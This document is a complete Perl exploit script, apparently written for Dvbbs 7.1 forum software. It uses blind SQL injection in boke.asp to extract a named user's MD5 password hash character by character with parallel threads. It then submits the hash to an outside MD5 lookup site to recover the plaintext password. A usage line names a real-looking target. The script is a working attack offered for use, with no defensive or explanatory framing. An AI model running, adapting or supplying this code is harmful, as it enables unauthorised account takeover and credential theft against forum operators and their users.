#!/usr/bin/perl #use strict;
use LWP;
use LWP::Simple;
use Thread;
use HTTP::Request::Common;
print <<EOF;
Dvbbs 7.1 boke.asp sqlinject program
Usage: dv.pl http://www.xnanyang.com/bbs/boke.asp admin
Code : Http://hhuai.cn Huai_Huai
EOF
if($#ARGV<1)
{
exit;
}
$kk=get $ARGV[0]."?".$ARGV[1]."'.index.html";
print $kk;
if($kk=~/博客/)
{
print "不存在注入漏洞,程式退出!\n";
exit;
}
$kk=get $ARGV[0]."?".$ARGV[1].".index.html";
if($kk=~/博客統計/)
{
print "存在漏洞和此用戶,開始探測!\n";
}
elsif($kk=~/該博客用戶不存在或填寫的資料有誤/)
{
print "沒有此用戶,程式退出\n";
exit;
}
else
{
print "不存在注入漏洞,程式退出!\n";
exit;
}
@dic=('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
for($i=1;$i<17;$i++)
{
$url[$i]=$ARGV[0]."?".$ARGV[1]."'and'makelove'=mid(password,$i,1)and''='.index.html";
}
for($i=1;$i<17;$i++)
{
$thread[$i]=Thread->new(\&crack,$i);
}
for($i=1;$i<17;$i++)
{
$password.=$thread[$i]->join;
}
print $ARGV[1],"的md5密碼為: $password\n";
print "開始破解md5密碼,請稍候!\n";
my $browser = LWP::UserAgent->new;
my $ua=LWP::UserAgent->new;
$ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)');
my $pwd=POST('http://www.mmkey.com/md5/index.asp?action=look',
[md5text=>$password]);
my $response=$ua->request($pwd);
if($response->content=~/<inputsize="32"name="rr2" value="(.+)" >/)
{
print $1,"\n";
}
else
{
print "對不起,查詢不到md5密碼破解!\n";
}
sub crack
{
my $content;
my $num=shift;
my $str=$url[$num];
foreach $md5 (@dic) {
$url[$num]=~s/makelove/$md5/;
$content=get $url[$num];
if($content=~/博客統計/)
{
print "第$num位為:$md5\n";
return $md5;
last;
}
$url[$num]=$str;
}
}